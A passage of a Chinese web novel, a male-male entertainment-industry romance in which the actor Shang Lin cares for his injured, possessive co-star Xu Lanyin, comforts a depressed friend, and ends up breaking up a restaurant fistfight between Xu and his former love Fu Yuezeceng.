话都说到这个份儿上了,商璘要是再不去,估计又要跟薛海雁冷战好几天。
他一直都不太擅长处理亲密关系。
算了。
见面后跟人家姑娘好好说说,也没什么。
商璘刚要答应,许兰因忽然从床上坐起来,整个人都趴在他肩上,顺手拿走了他手机,放在自己耳边:“喂?阿姨,是我呀,兰因。”
许兰因像是一条伤了尾巴的人鱼,腿瘫在床上,上半身挂在商璘身上,因为他的重量,商璘只得被迫坐在床边,许兰因便更加心安理得地圈着他打电话:“小璘哥现在跟我在一起。”
“小璘哥明天没法去相亲……原因?因为我出车祸了,小璘哥要照顾我。对不起阿姨,都是我拖累了小璘哥……”
许兰因装可怜是很有一套的,薛海燕一听顿时忘了儿子相亲的事,忙问:“车祸?严不严重啊?你们也不跟阿姨说一声,我这就来医院看你……”
许兰因瞥了商璘一眼,说:“不是很严重,就是有条腿骨折了,身上缝了十几针而已哈哈哈哈哈哈。”
商璘:“。”
“阿姨你别来了,这外面全是狗仔。”许兰因说:“要是你被拍到了,肯定会影响你的日常生活,以后你还怎么出去跳广场舞呀?我真没事啦,小璘哥照顾我照顾得可好了。”
薛海雁:“他不爱说话又不细心,哪里照顾过病人,我不亲眼看看怎么放心?”
许兰因想了想,用头顶蹭蹭商璘,“哥。”
“嗯?”
许兰因:“说茄子。”
商璘莫名其妙,就听咔嚓一声,许兰因拍了张照发给薛海燕,证明自己确实活蹦乱跳了,又好一通撒娇,终于成功安抚了薛海雁女士。
这通电话讲了快半个小时,许兰因呼吸的热气都喷在商璘侧颈上,熏得那一片皮肤通红,手还不老实的一直玩儿商璘衣服上的带子。
电话一挂,商璘立刻推开许兰因,揉了揉滚烫的脖颈,“打电话要靠在别人身上是什么毛病?”
许兰因撇嘴,“那又怎么了,我们还搂一起睡过呢,靠着你当然是因为喜欢你啊。”
商璘手指蜷缩。
他是有些羡慕许兰因的。
让商璘一筹莫展束手无策的薛海燕许兰因几句话就可以哄得服服帖帖,商璘无论如何都说不口的爱意他可以随意诉诸。
他习惯了等待和沉默,所以当年和伏越泽的那段感情,他从未想过主动告白。这么多年过去,他仍旧没有半点长进。
许兰因这样的人,真的像是一轮太阳。哪怕不靠近,只是远远望着,都能觉得温暖。
“小璘哥,发什么呆。”许兰因挑起眉,“不会是因为要照顾我所以不能去相亲,在生闷气吧?”
“又在狗叫。”商璘无语,“我去买饭,想吃什么?”
许兰因:“红烧肘子。”
商璘:“粥。”
“……皮蛋瘦肉。”
商璘嗯了声,转身出门了。许兰因无聊地躺回床上,忽然想起他在走廊上看见的那一幕。
伏越泽和商璘靠得那么近,是谁一倾身就能吻上的距离。
周鹤和伏越泽的暧昧关系在公司里不算秘密,许兰因自然也听过别的风言风语,有关于商璘和伏越泽的。
说这些年伏越泽潜过的艺人,都或多或少长得有几分像是商璘。早些年商璘还因为这件事被伏越泽的小情儿打压过,挺狼狈的,他从不愿提,许兰因也就装作不知道。
春天的阳光怎么这样好。
许兰因忽然觉得房间里的光无比刺眼,他用被子蒙住脑袋,强迫自己不要再去想那些陈年旧事。
这次车祸,许兰因在医院住了半个月,医生终于同意他回家疗养,回的自然是商璘的家。
许兰因那里跟个样板间似的,没有半点人气儿。
“小璘哥。”许兰因抱着胳膊,看着被打扫得干干净净的客卧。床单被单全部收起来了,衣帽间里的衣服也分门别类地打包好了,几个行李箱堆在门口,推着就能走人。
商璘眼皮一跳。
他之前让许兰因搬走,许兰因不肯收拾自己东西,他就动手收拾了,本来打算让人给他送过去的,谁承想一场车祸,打乱了所有计划。
现在许兰因这样子,他要是再把人撵走,估计晚上觉都睡不着。
“……我买了新床单。”商璘说:“待会儿给你铺上。”
许兰因不依不挠:“衣服又是怎么回事?”
商璘不说话了。
许兰因不高兴:“小璘哥,你过来。”
商璘没办法,只好走过去,许兰因又拽他手,“我要抬着头跟你说话,好累。”
商璘半跪在地毯上,跟他平视,满脸都写着“又怎么了我的大少爷”。
许兰因忽然凑近,在他唇上亲了下,“我就当不知道,以后不可以这样了。”
他难得没有趁机闹腾,以至于商璘都忘了被亲的事情,许兰因拉着他的小指晃了晃,“所以,跟我拍吧,那部电视剧。”
他说的是苏纭千挑万选出来的、却被商璘拒绝了的本子。
“你不是不想拍么。”商璘问。
“我想跟你一起工作。”许兰因说:“其他都不重要。”
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他眼巴巴看着商璘,“小璘哥,我们也不要解绑,一直在一起好不好?至于禾光和伏越泽……管他们去死。”
商璘抿了下唇角。
少年人含泪的请求最令人怦然心动,商璘却慢慢将自己的手指抽了出来,“兰因,我推掉那部戏,不全是你的原因。”
“我知道。但是你那白月光不是拒绝了你了吗?”
“不是……”商璘觉得有点头痛。如果现在将自己的真实打算告诉许兰因,他肯定要生气,商璘只好说:“那部戏主角动作戏很多的,你的腿不要了?”
“我可以……”
“你不可以。”商璘道:“既然这么喜欢工作,就好好准备今晚上的直播。”
他将许兰因推到客厅,“自己玩儿去,我给你铺床。”
直播是苏纭派下的任务,许兰因车祸的事在热搜挂了好几天,粉丝都很担心,现在回家修养了,于情于理都要开个直播给粉丝看看自己的状态。
苏纭本打算让专业人员来调试直播设备,被许兰因拒绝了。他很烦有人来商璘家,就是小唐和苏纭进来的次数都屈指可数,陌生人进来他能直接炸了。苏纭考虑到此人确实颜值逆天,哪怕是用座机开直播画面效果应该也不会差到哪里去,于是准许了。
许兰因是个很挑食的小孩儿,也不知道是不是因为小时候经常饿肚子,长大后有些厌食,有空的时候商璘都是自己做饭,他在厨房忙活的时候,完全不知道许兰因拿着手机直播,本人的脸就出现了大概五秒钟,后面的内容全是商璘在煎炒烹煮炸。
他一边看商璘做饭一边跟弹幕唠嗑:
“商璘身材真好?……那当然,这用你说,让你看吃的,没让你看人。”
“为什么许兰因的直播间里只有商璘?我乐意,要你管。”
“什么时候可以开始工作?不知道啊,我还想好得慢一点呢。为什么?因为受伤了我说什么小璘哥都答应我。”
“解绑?不解绑。房管把这个一直刷解绑的给我踢出去禁言一百年。”
“要看我?我有什么好看的,我脸都没洗。”许兰因想到什么,镜头一转,对着自己腿上打着的石膏,“不过可以给你们看这个。昨天小璘哥给我画的。画的什么?这都看不出来,这是我,这是小璘哥,中间这是一颗爱心……不是小璘哥画的?怎么可能。这么丑当然是他画的。……行吧我承认这个爱心是我自己补上去的。”
“被车撞是什么感觉?”许兰因顿了下,唇角弯起,慢慢说:“没什么感觉啊。”
甚至只要一想到被撞了后商璘就会回心转意,那一瞬间他感受到的都不是痛楚,而是一种极致的兴奋和快意。
“晚饭吃什么?”许兰因推着轮椅进了厨房,问:“哥,晚上吃什么呀?”
商璘忙着勾芡,眉头轻皱:“待会儿不就知道了。出去玩,别来捣乱。”
许兰因:“我……”
商璘往他嘴里塞了颗焦脆的小肉丸,“听话。出去。”
许兰因下意识在他手指尖舔了下,商璘被电击似的缩回手,怒道:“许兰因!”
许兰因吐吐舌头,满脸无辜:“好咸。”
21.第 21 章
要不是手上沾着油,商璘肯定要照着他脑门来一下。
“你来这里凑什么热闹。”商璘说:“苏姐不是让你直播么?”
许兰因晃了晃手机,“正在播啊。”
“?”商璘转过头,面无表情盯着他。
许兰因在外面跟弹幕聊天的时候厨房开着抽油烟机,他没听见。这神经病竟然拿着个手机到处晃直播,甚至穿着睡衣头发都没捯饬一下,就是十八线小明星都比他有偶像包袱。
“跟大家打个招呼呗。”许兰因说:“他们都很想你。”
这段时间许兰因没有出现在公众视野内,商璘自然也没有。这会儿他穿着粉色的小猪佩奇围裙(许兰因买的),左手拿着锅铲右手提着锅盖,忙得不行,只随意跟弹幕问了个好。
许兰因帮他念弹幕:“他们问你为什么跟我住一起。”
商璘:“这是我的房子。”
许兰因:“我跟我哥住一起还要你同意?你们不是结婚证都给我俩p了好几版了吗还问这些。”
商璘:“……许兰因,跟粉丝说话客气点。”
“哦。”许兰因乖不了两秒,又说:“这个人问你尹佳阳现在怎么样了。”
前几天尹佳阳的工作室发了通知,说他身体欠佳暂停一切工作修养。很多人都知道尹佳阳身体欠佳的原因是曾翰,嘲讽者有之看笑话者有之,当然也有关心他的粉丝,只是尹佳阳那边没有半点消息,只好来商璘这里问问。
商璘顿了一下,说:“挺好的,不用担心。”
许兰因:“小璘哥昨天才去见过他,陪了他三小时十六分钟。还喝了酒,橘子味的。”
商璘:“你是狗鼻子吗。”他就陪尹佳阳喝了半杯而已,到家又花了快一个小时,许兰因这都能闻见。
许兰因不知道想到了什么,偏头看着商璘,商璘顿感不妙,在他逆天发言前一把捂住他的嘴:“闭嘴。”
“……”许兰因嘴唇动了动,商璘眼神警告他,许兰因就舔他手心,商璘到底没他无耻,只好把手缩了回来。
许兰因动嘴不出声:“你们没有酒后乱性吧?”
商璘:“。”
他就知道许兰因狗嘴里吐不出象牙。
弹幕全部都在问发生了什么,许兰因见商璘真要生气了,这才将注意力转移回自己的直播间,道:“我们刚说了什么?秘密。……都说是秘密了怎么可能告诉你。”
商璘实在烦他,将他赶出了厨房。
许兰因觉得没意思,关了直播,推着轮椅去端菜。看他那身残志坚的样子,商璘原本想要教训他的话又咽了回去。
伏越泽说他太过于溺爱许兰因。
商璘其实不否认。他对许兰因,很多时候是没有底线的。
吃饭的时候许兰因忽然说:“小璘哥,你收到曾翰的婚礼请柬没?”
都是一个圈子里的,经常打照面,从前商璘跟曾翰的关系也还算不错,但因为尹佳阳,商璘已经把曾翰拉黑了。
“不知道。”商璘道:“怎么?”
“他给我发了请柬,让我务必捧场。”许兰因说:“你要去吗?”
“不。”
“既然你不去……”
商璘:“你不用因为我而不去。你和曾翰有过几次合作,以后抬头不见低头见,人家诚心邀请了你,你应该去。”
许兰因:“对哦,就算我不去尹佳阳也不会念我的好。”
商璘给他碗里夹了只虾,忽然问:“你对曾翰和尹佳阳之间的事情是怎么看的?”
许兰因漫不经心:“圈子里对自己的搭档动感情的常有,但是闹到他们这样难看的少见。我上次见郭姐,她一路走一路都在骂曾翰,他这么搞,以后估计很难有更高的发展了。”
“不过演员么就是青春饭,这几年钱也挣够了,淡圈和女朋友结婚也挺好的。”
商璘握紧筷子,声音依旧冷静:“你也是这么想的?”
“大家差不多都这样想吧?”
商璘垂下眼睫,不知道该说什么,于是只好沉默。
“退休后想去环游世界。”许兰因说:“这几年真的好忙,都没空去好好旅游。”
“嗯。”
“第一站你想去哪里?”
“这种事应该问你女朋友。”
“谁说要跟女朋友一起去了。”许兰因挑眉,“当然是跟你一起去啊。”
商璘的心脏忽然漏了一拍。
和他一起吗。
他也在许兰因的人生规划里吗。
“小璘哥?”许兰因挥了挥手,“你怎么忽然发呆啊。”
“……没什么。”商璘回神。他知道自己不该回答这个问题,但看着许兰因含笑的双眼,他还是轻声说:“去雷克雅未克看极光吧。”
许兰因:“哇,这么浪漫。”
“那就这么说定了。”
商璘移开视线,闭上眼睛叹了口气。
至此,他明白,第二次戒断,又失败了。
……
尹佳阳的长假哪也没去。
甚至连家门都不出。
要不是有阿姨定时来打扫做饭,尹佳阳甚至可能会把自己饿死。
商璘进门找了一圈才在阳台上
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看见了尹佳阳。这次他倒没有喝醉,只是趴在桌子上看远处鳞次栉比的高楼和波光粼粼的璩江。
璩江水从城市中间穿过,阳光下如同一条华丽至极的玉带,跨江大桥上车水马龙,熙熙攘攘。
“出去走走吗?”商璘摸了摸尹佳阳的额头,“看来有好好吃药,已经退烧了。”
上次来看尹佳阳的时候,他半夜坐飘窗上吹风,硬生生给自己吹出了三十九度高烧。
尹佳阳:“你不是说我不吃药你就不管我了吗。”
“那你怎么又来这里吹风。”商璘在他对面坐下,“今天挺凉的。”
尹佳阳看着楼下发呆,好一会儿才说:“今天院长妈妈给我打电话,说有几个孩子想曾翰了,问曾翰什么时候能去跟他们玩。”
商璘一顿。
尹佳阳从小在孤儿院长大,这些年陆陆续续给孤儿院捐了不少钱,也经常回去陪孩子们上课做手工,以前曾翰也会跟他一起,孩子们都挺喜欢他。
“我不知道怎么回答。”尹佳阳喃喃道:“他们应该永远不会见到曾翰了。”
商璘说:“那又不是你的错。”
尹佳阳抱着自己的膝盖,哑声说:“不是的,是我的错。”
“如果我不跟他告白,我们就还是跟以前一样。”尹佳阳勉强笑笑,眼睛却是红肿的,“是我把一切都搞砸了。”
“佳阳。”商璘皱起眉,重复说:“不是你的错。”
尹佳阳耷拉着脑袋不说话,像是一株失去了生命力的植物。因为根茎已经腐烂,所以无论浇多少水施多少肥都无法挽救。
因为他已在逐渐死去。
没有人教导他该如何去爱一个人,更无人告知他如果得不到对方的回应又该怎么接受。天生的敏感和自卑,让尹佳阳哪怕成为了风光无限的大明星,仍旧习惯于将自己放在低位。
“对不起啊。”尹佳阳深吸口气,“又麻烦你听我说这些。”
“待会儿跟我出门吃饭。”商璘说:“再不出门你就要生霉了。”
尹佳阳:“和许兰因一起?我不要。”
商璘无奈:“他不在。今天他朋友过来看他。”他跟罗旭聊不到一处去,干脆出门来找尹佳阳了。
“哦。”尹佳阳眼巴巴看着他,“阿璘,你又放弃了吗。”
“你的远离许兰因计划。”
“……是吧。”商璘说:“我可能一辈子都无法做到。”
两年前许兰因拉着他逃离那场烈火,却将他关入了名为暗恋的囚笼。
许兰因不愿意离开他。
却也不愿意爱他。
22.第 22 章
尹佳阳恹恹的没什么精神,商璘硬拖着他出门,带他去江边散步看风景晒太阳。两人都捂得严严实实,路过一个地方时发现那里聚了一堆人拍照,尹佳阳还以为是什么新出的景点,结果挤进去一问,原来这就是许兰因和周鹤手拉手散步被狗仔拍到的地儿。
虽然这里只有几棵平平无奇的树,但因为那个热搜,直到现在都还有人来打卡拍照。
商璘:“。”
尹佳阳说:“顶流就是顶流哈,都过去多久了还有这么多人。”
旁边的女孩子没听出他语气里的阴阳怪气,还以为是自己同担,连忙问:“你们也喜欢许兰因吗?”
尹佳阳:“不算喜欢。”甚至是见面就掐架的仇人。
不过有一点他很好奇:“许兰因在这里被拍到和周鹤手拉手散步,你们还来打卡,不生气吗?”
小姑娘:“兰因和商璘的CP粉还有兰因的唯粉肯定会生气咯。”
尹佳阳请教:“那你是?”
“我是兰因和周鹤的CP粉!”小姑娘满脸兴奋:“你不觉得兰因和周鹤特别好磕吗,顶流前辈和娱乐圈新人。我剪了个他们的CP向视频,有百万播放呢。”
尹佳阳:“……”
“挺好。”尹佳阳道:“不过我以为商璘和许兰因的CP粉更多。”
“我刚喜欢兰因的时候也磕他们CP啦,他们确实很有CP感,不然怎么能是圈内顶流。”女孩子道:“不过我越磕越觉得不对劲。”
尹佳阳这下来了兴致,虚心请教哪里不对劲。
“我感觉吧。”女孩子说:“璘哥爱兰因多一点。”
尹佳阳一愣。小姑娘继续分析:“其实从很多照片和视频都能看出来,璘哥是真的蛮喜欢兰因的。但是如果没有跟璘哥对视的时候,兰因看着璘哥的眼神……怎么说呢,冷冰冰的,还有种无法形容的感觉。”
尹佳阳瞥了商璘一眼,“你不是许兰因粉丝么,干嘛这样说他。”
小姑娘笑嘻嘻:“我是许兰因粉丝啊,但我觉得璘哥人特别好,他这样的好人不适合跟许兰因在一起。”
这么多天来尹佳阳非常难得的笑了,表示赞同:“你说得真是很对。不过周鹤就适合跟许兰因在一起了吗?”
“他野心都要从眼睛里溢出来了。”小姑娘说:“我磕的就是双恶人。诶……你们也是来打卡拍照的吗?要不要我帮你们合照啊?”
尹佳阳不知想到了什么,将手机摸出来给她,又跟她低声说了两句话,便拉着商璘到了那两棵树下。商璘无奈:“你也要打卡吗?”
“来都来了。”尹佳阳握住他的手,“你看着我。”
商璘不明所以地看向他,尹佳阳帮他拉了下帽檐,那边小姑娘咔嚓咔嚓瞬间拍了十几张,尹佳阳翻看照片,十分满意,然后将合照发给了许兰因。
“行了。”尹佳阳说:“我们去吃饭吧,饿了。”
他有了食欲,商璘自然高兴,没再多问。
收到尹佳阳消息的时候许兰因正在家里跟罗旭打游戏,瞥见发信人是尹佳阳他还以为自己看错了。
上次尹佳阳主动给他发微信,应该还是他们刚加上好友的时候。之后大部分时间他应该都在尹佳阳的黑名单里。
许兰因点开消息一看,瞬间黑了脸。
罗旭好奇,也凑过来看了看,差点一口水喷出来:“这不你和周鹤被拍时候那姿势么,谁啊一比一复刻。”
“……”罗旭顿了顿,“商璘?”
尹佳阳发这照片充满了挑衅和嘲讽。许兰因抿紧唇。想起上次尹佳阳喝多了商璘去接他,尹佳阳黏黏糊糊要商璘做他男朋友,商璘是答应了的。
商璘心软又好说话,如果能让尹佳阳走出失恋的阴影,他肯定会同意跟尹佳阳交往。他那样的人,不管谈恋爱的对象是男人还是女人,都会温柔妥帖,细致入微。
“我就不该同意他去看尹佳阳。”许兰因将游戏手柄扔到一边,任由屏幕里的游戏人物被
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怪物杀死。
罗旭看热闹不嫌事大,“说得好像你不让他去他就不去一样。”
许兰因冷冷看着他。
“兰因,你不觉得你……”
“你不是有别的事要跟我说么。”许兰因道:“说。”
罗旭啧了声,把原因想要说的话咽了回去,“昨天有个慈善晚宴,原本该伏越泽出席,但代表伏家参加的人临时换成了他那个私生子哥哥。”
“伏轲为了跟人抢女人,一晚上砸了八千万出去。”
许兰因勾起唇角,“看来我们小伏总失宠了啊。”
罗旭:“本来他们家的产业就是日薄西山,现在全靠禾光撑着面子。禾光说是伏越泽当家做主,但其实背后的实际控股人不是他们家。结果伏越泽那边迟迟没有进展不说,在这当口还非要你和商璘解绑,老伏总能不生气么。”
“现在伏家那情况,应该供不起伏轲这么挥霍吧。”
“所以压力给到了伏越泽身上咯。”罗旭耸耸肩,“伏越泽这人确实不好对付,所幸伏轲是个傻缺,还是个备受亲爹宠爱的傻缺。你这招的确狠,随随便便就让他砸了八千万,估计老伏总都要心肌梗塞了。以前他去赌场动辄几千万的挥霍是伏家有那个家底,现在可就不好说了。你真不考虑……”
许兰因打断他要说的话:“帮我谢谢若姐,改天我请她吃饭。”
“多大点事,若姐是跟咱们一起长大的交情。”
“为了她伏轲一掷千金,难保伏家不会找她麻烦,让她出国待一阵子吧。”许兰因道:“走我的账。”
罗旭比了个ok的手势,又说:“你现在跟商璘解绑其实是挺好的选择,伏越泽跟他爸对着干,可见是下了决心,你就让他们父子反目呗。”
“我知道自己在做什么。”许兰因拎起衣帽架上的外套,“没事你就回吧。”
罗旭奇怪,“你要出门?”
“嗯。”许兰因扣上帽子,眯起眼睛:“去捉奸。”
23.第 23 章
商璘没想到和尹佳阳出来吃个饭还能遇见伏越泽和周鹤。
他其实没认出来,是周鹤率先打了招呼。
上次和伏越泽在医院走廊上闹得很难看,再次看见他商璘多少有点不自在,伏越泽倒是挺淡然,好像那天的争执从来没发生过,笑着问了尹佳阳身体有没有好转。
这似乎是他与生俱来的天赋。不管多大的事情,只要过了情绪爆发期,他都能整理好,再佯装无事。
“我挺好的,谢小伏总关心。”尹佳阳对许兰因没有好脸色,对伏越泽也没有,语气敷衍。又扭头跟服务生说:“麻烦给我们一间包厢。”
服务生面露难色:“不好意思啊先生,我们这里的包厢比较抢手,都是要提前预定的,现在只有大堂有位置……”
尹佳阳和商璘都是公众人物,在大堂吃饭很容易被认出来,但这家餐厅又是之前尹佳阳跟商璘念叨了好久想吃的,他皱了下眉,刚要跟商璘说换一家算了,周鹤适时开口:“佳阳哥,商老师,不如去我们包厢吧?我们定的江景房,风景还不错。”
尹佳阳完全是站在商璘这边的,哪怕他很不喜欢许兰因,也不会喜欢跟许兰因传绯闻的周鹤,扯了下唇角,“不好吧,这不是打扰你和小伏总约会了么。”
周鹤笑意温柔,“我和小伏总只是有点工作上的事要谈而已,不是约会,佳阳哥误会了。”
特意定个江景房谈工作上的事,也不知道禾光的办公室里是不是装了监听器,要劳动两位大老远来这里。
“而且我非常仰慕商老师。”周贺诚恳道:“一直很想请商老师吃顿饭,但是商老师太忙,总没有机会。今天恰好遇见,不知道商老师愿不愿意赏脸?”
要是别人说这种话,怎么听都像是挑衅,但周鹤面容文秀清俊,声音温和轻缓,倒真像是商璘的粉丝。
其实圈里很多人都是商璘的粉丝,参加活动给别的艺人签名是常有的事。周鹤是他粉丝也很正常。
商璘看向尹佳阳,轻声问:“你可以吗?”
“我无所谓啊。”尹佳阳道:“有人请吃饭多好。”
于是四个人一起进了包厢。
尹佳阳和商璘坐一边,伏越泽和周鹤坐一边,泾渭分明。
看菜单的时候商璘有点漫不经心地想,没准伏越泽对周鹤是有几分真心的。以前小伏总搞潜规则那都是睡完了给资源了事,哪有陪着甜蜜约会的。
而且邀请他们一起吃饭是周鹤做主,完全没有询问伏越泽的意见,可见在这段关系里,周鹤有一定的主动权。
也不知道伏越泽他爹会不会气死。
商璘清楚记得毕业时他回校收拾行李,辅导员忽然叫他去办公室说有事要谈,去了办公室才发现不是有事要谈,而是有人要见他。
彼时的老伏总春秋鼎盛,因为长久居于上位,哪怕他坐着商璘站着,都给商璘一种被俯视的感觉。
那场会面……或者说是单方面的召见,老伏总一句话没说,等辅导员带着商璘离开办公室的时候,他才知道那是伏越泽的父亲。
大概是听说了什么风言风语,想要来亲眼看看这个让他儿子“离经叛道”的人长什么样子。但又因为伏越泽已经妥协答应联姻,他什么都没做,仅仅只是见了一面。
对于老伏总来说,伏越泽无疑是个优秀的继承人,手段狠辣,处事果决,如果他不喜欢男人的话,简直可以称得上完美。
商璘在禾光这些年,也听过一些八卦。
二世祖们玩儿小男模其实不是稀奇事,只是伏家特别避讳,别说是正经谈恋爱了,就是单纯寻乐都不行。伏越泽刚毕业就被安排联姻,多半是因为他和商璘的事被家里知道了。
伏越泽明明已经认命,按部就班的成家立业,却不知道抽的哪门子疯,两年前离婚闹得满城风雨,和前任妻子算是不欢而散,现在更是光明正大潜男艺人……商璘觉得老伏总的血压计都要爆了。
尹佳阳问他想吃什么,商璘:“点你爱吃的就行。”
周鹤说:“佳阳哥和商老师关系真好。两位认识很久了吗?”
“他刚入行我们就认识了。”尹佳阳合上菜单交给服务员,慢吞吞说:“得有七八年的交情了。”
“真好。”周鹤撑着下颌说:“如果我早一点进圈,没准也能和商老师成为朋友。”
商璘还没说话,尹佳阳已经道:“那不一定吧,阿璘没几个朋
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友,他又不爱交际。”
尹佳阳这么说没给周鹤半点面子,周鹤也没生气,看着商璘,“也不一定啊,感觉我和商老师会很合得来。”
伏越泽终于道:“周鹤。”
周鹤莞尔,“对不起啊,我太喜欢前辈了。”
商璘觉得气氛有点诡异。
周鹤这是什么意思?公司的确打算让他做许兰因的新搭档,但是他自问没对周鹤做过什么,周鹤用得着这么针对他么?
忽然手机铃声响起,打破一室尴尬,商璘轻松口气,拿起手机一看,又觉得这口气松得太早。
他说了声抱歉,到窗边接电话:“喂?”
“小璘哥。”许兰因声音幽幽地,“这都马上八点了,你还不回家?”
“吃饭。”商璘道:“吃完我送佳阳回家,然后就回来。”
许兰因很不高兴,“尹佳阳是三岁小孩吗,还要你送?”
商璘:“。”
许兰因:“你都不问我吃没吃饭?”
“那你吃了吗?”
“没有。”许兰因道:“你出来接我,他们不让我进包厢。”
“……?”商璘一愣,几乎是下意识快走几步拉开了门,到了前台,果然就见许兰因坐在轮椅上,只露出一双眼睛巴地看着他巴。
商璘皱眉,蹲下身平视他:“你不是在家跟罗旭打游戏么,跑出来干什么。”
“我想你了啊。”许兰因撇嘴,“结果你带尹佳阳来这里吃好吃的,完全不管我在家有没有饭吃。”
商璘都懒得说点个外卖会死吗这种话了,问:“怎么找到我的?”
“心有灵犀咯。”许兰因眨眨眼,“只要我想找到你,不管你在哪里,我都能找到。”
商璘失笑,心想多半是有人拍了照片发到网上被许兰因看见了。他问:“想吃什么?我带你去。”
“来都来了,一起啊。”许兰因道:“前台姐姐说你们在包厢里,多我一个也没什么吧。”
他说着就自己推着轮椅往前,商璘立刻拦住他:“等等——”
“我就说你怎么忽然跑出来。”伏越泽从拐角处走出来,笑了一下,“原来是兰因来了。”
24.第 24 章
商璘心想,得,第三次世界大战来了。
许兰因果然立刻挂脸,“小璘哥,你不是说带尹佳阳来吃饭吗?”
“碰巧跟小伏总遇见。”商璘解释,“没包厢了,所以……”
“所以就一起吃晚饭?”许兰因皮笑肉不笑的,“那还真是巧啊。”
伏越泽:“既然这样,兰因也一起吧?上次一起吃饭都不记得是什么时候了。”
许兰因当然不想跟他一起吃。商璘轻声道:“佳阳很想吃这家的苹果牛排。”
“他想吃关我什么事。”许兰因看见伏越泽本来就烦,现在还多了一个尹佳阳,自然不乐意,“我们去吃上次那家烤肉。”
说完拉着商璘就要走。商璘反扣住他的手,手指轻轻在他掌心挠了两下,许兰因一愣,不动了。商璘俯身在他耳边低声说:“佳阳抑郁变严重了,医生说他要好好放松,难得有想吃的东西,你让让他?”
商璘不是会说软话的性格,更何况这些话纯粹是在哄许兰因了,他觉得有些不好意思,所以说话的声音很轻,温热的气息抚过许兰因的耳廓,白皙的肌肤瞬间红了一大片。
他偏开头,抿紧唇,还没说话,商璘又晃了一下他的手,“嗯?”
“……”许兰因说:“走呗。我倒要看看这家的苹果牛排到底有多好吃。”
伏越泽冷眼看着这一幕,没什么多余的表情,一行人回到包厢,尹佳阳看见许兰因当即翻白眼,周鹤倒是挺高兴:“又见面了兰因。”
许兰因对他态度还算不错,点了下头,算是问好。
有了许兰因的加入,包厢里的氛围更诡异了。每个人之间的关系都有点复杂,偏还要凑到一张桌子上吃饭,简直像是一场酷刑。
唯独许兰因要求多。
一会说“小璘哥这个虾好难吃你不要吃了”一会儿又说“小璘哥我的饮料好难喝我喝一口你的”,“小璘哥小璘哥小璘哥”……吃顿饭他喊了八百次小璘哥,飘荡在包厢里可以绕梁三日而不绝。
尹佳阳终于看不下去了,把刀叉往桌子上一拍,“行了你,巨婴啊,什么都要阿璘帮你,烦不烦!”
许兰因抬起眼皮冷淡看了尹佳阳一眼,转头抱住商璘的胳膊:“小璘哥,他凶我。”
尹佳阳:“阿璘你让开,我今天非要把这巨婴的手脚砍了,反正他也用不着!”
许兰因:“小璘哥你管管他呀。”
“恶心死了,闭嘴!”
“……”商璘被夹在中间,觉得自己像是幼儿园老师,并且还是个新手老师,完全不知道该怎么制止这种小朋友之间的幼稚互掐。
他还没思考出应对办法,两人为了抢最后一块松饼,打翻了果汁杯,半杯柳橙汁全部泼在了商璘身上。
“我靠都怪你!要不是你果汁怎么会倒??”
“明明是你非要抢我的东西?许兰因你神经病吧,这顿饭请的是你吗?”
“……”商璘说:“你们再吵,以后我不会再带你们任何一个人出来吃饭。”
这下两人终于安静了。
商璘起身,“我去趟卫生间。”
“阿璘我陪你……”
商璘按住他肩膀,摇头示意不用,又转头跟许兰因说:“你也别来。”
在洗手台用冷水洗了把脸,商璘长出口气。
许兰因和尹佳阳难道是天生的八字不合?明明许兰因虽然脾气不好,但对外一直装得挺有礼貌。尹佳阳更是大声说话都很少。
商璘抽出纸巾擦干净脸上的水,转头的时候看见伏越泽靠在墙边,已经不知道在那里站了多久。
商璘一顿,准备绕过他。伏越泽道:“商璘。”
“……”商璘淡然看着他,“小伏总有话要说?”
“我本来以为这件事不需要解释,但你好像对我有些误会。”伏越泽反手关上了卫生间的门,“让你和许兰因解绑,不是在针对许兰因,而是为了你好。但你完全没有体会到我的良苦用心。”
商璘:“不是公司分析了我们的商业价值后觉得分开发展更有利么。”他有些厌倦地说:“既然已经把冠冕堂皇的理由拿出来了,那就不要再提别的,很难吗?”
伏越泽手背上青筋跳了跳,侧颊也绷得很紧。
“而且我觉得我已经很配合了。”商璘说:“这件事我自始至终没有提过反对意见。小伏总还要我怎么样。”
伏越泽干脆利落地说:“离开许兰因。”
“我只是……”
伏越泽逼近商璘,紧盯着他的眼睛,“你想说只是因为许兰因受伤了你要照顾他?许兰因多大的本事让顶流做他的保姆?
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商璘,究竟是为什么,你心知肚明。”
商璘忽然笑了下,“你这人真是挺有意思。”
他慢慢说,“不是你把许兰因推到了我身边吗?”
伏越泽浑身一僵。难得失态。
他总是温文尔雅彬彬有礼,待人接物从不出人任何纰漏。精英出身,前途璀璨,那张微笑的假面戴了三十年,其上的裂缝全都来源于商璘。
商璘总有这样的本事,三言两语,字字诛心。
“对不起。”伏越泽听见自己这样说,“我后悔了。”
商璘点点头,“我接受你的道歉,但是没人会停在原地等你。”
他觉得话说到这个份儿上,一向体面的伏越泽总该放他走了,伏越泽却用力抓住了他的手臂,嗓音有些沙哑:“商璘,四年前……”
忽然砰的一声卫生间的门被踹开,许兰因看见把商璘堵在墙边的伏越泽,半点没顾及自己骨折的腿,站起来一把揪住伏越泽的衣领,下一秒拳头就已经砸在了小伏总的脸上。
好像不久之前还跟商璘哼哼唧唧说腿疼的不是他。
这一拳力道实在不小,伏越泽唇角流出血,他抬手擦掉,看着那点鲜红,突兀地笑了,“这么生气干什么。”
商璘拉住许兰因,“你腿不要了?!”
伏越泽盯着许兰因:“我跟商璘认识的时候,你还在念初中呢,小鬼。”
这次商璘没能拉住,两人扭打在一起。都是身高将近一米九的成年男人,打起架来简直惊天动地。门口不断有好事之人探头看,见到里面的场景又赶紧缩头跑了。
要是被人拍下来,又得承包一整天的热搜。
商璘烦得要死,一脚将门踹上,而后强势地一把拎住许兰因衣领,照着脸就是一拳,不等伏越泽嘲讽,商璘转头也给了他一拳。
用的力气更大。
商璘冷声说:“谁说话我就揍谁。”
“……”
商璘拽着许兰因,把他塞回轮椅,许兰因用手背擦去脸上的血,隔着几米远的距离,盯着伏越泽,冷冷笑了一下。
伏越泽抿紧唇:“商璘,许兰因他……”
商璘一巴掌扇他脸上,“我是不是说了谁说话我就揍谁。”
他看着小伏总青紫交加的脸,“他你妈欠虐是吗。”
25.第 25 章
商璘这一下没留力,伏越泽本就青紫的脸瞬间肿了起来。
他活了三十多年,估计从没有像现在这样狼狈过。
商璘其实不是冲动的人。大多数时候,讲不通道理他就会选择闭嘴,动手很少。但今天他确实觉得很烦躁。
许兰因和伏越泽在这里大打出手,看似是为了他,但商璘总觉得这里面还有别的原因,只是不管是伏越泽还是许兰因都不肯说。
他厌恶这种被蒙在鼓里的感觉。
